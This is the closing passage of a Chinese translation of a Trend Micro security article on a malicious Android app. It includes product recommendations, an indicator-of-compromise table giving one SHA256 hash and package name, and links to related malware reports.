Android](https://www.trendmicro.com/us/home/products/mobile-solutions/android-security/)™，可从[Google
Play](https://play.google.com/store/apps/details?id=com.trendmicro.tmmspersonal)上下载）可以检测到这类安全威胁。[Mobile
Security for Enterprise](https://www.trendmicro.com/us/enterprise/product-security/mobile-security/)支持各种安全功能，如设备合规性检查、应用程序管理、数据保护、安全设置等，也能保护设备免受漏洞利用攻击、阻止未授权访问应用、检测并阻止恶意软件及欺诈网站。
趋势科技的移动应用信誉服务（[Mobile App Reputation
Service](https://mars.trendmicro.com/)，MARS）同时支持Android以及iOS平台，采用了顶尖的沙盒及机器学习技术。MARS可以保护用户免受恶意软件、0Day漏洞以及已知漏洞的威胁，避免泄露隐私信息，免受应用漏洞影响。
## 七、IoC
该应用的攻击特征如下所示：
SHA256 | 包名 | 标签
---|---|---
a28a10823a9cc7d7ebc1f169c544f2b14afc8b756087b5f2c3a50c088089f07d |
com.fleeeishei.erabladmounsem | World News
## 八、拓展阅读
* [PUA Operation Spreads Thousands of Explicit Apps in the Wild and on Legitimate App Stores](http://blog.trendmicro.com/trendlabs-security-intelligence/pua-operation-spreads-thousands-explicit-apps-wild-legitimate-app-stores/)
* [ZNIU: First Android Malware to Exploit Dirty COW Vulnerability](http://blog.trendmicro.com/trendlabs-security-intelligence/zniu-first-android-malware-exploit-dirty-cow-vulnerability/)
* [BankBot Found on Google Play and Targets Ten New UAE Banking Apps](http://blog.trendmicro.com/trendlabs-security-intelligence/bankbot-found-google-play-targets-ten-new-uae-banking-apps/)
* [Vulnerability in F2FS File System Leads To Memory Corruption on Android, Linux](http://blog.trendmicro.com/trendlabs-security-intelligence/vulnerability-f2fs-file-system-leads-memory-corruption-android-linux/) | 社区文章 |
Subsets and Splits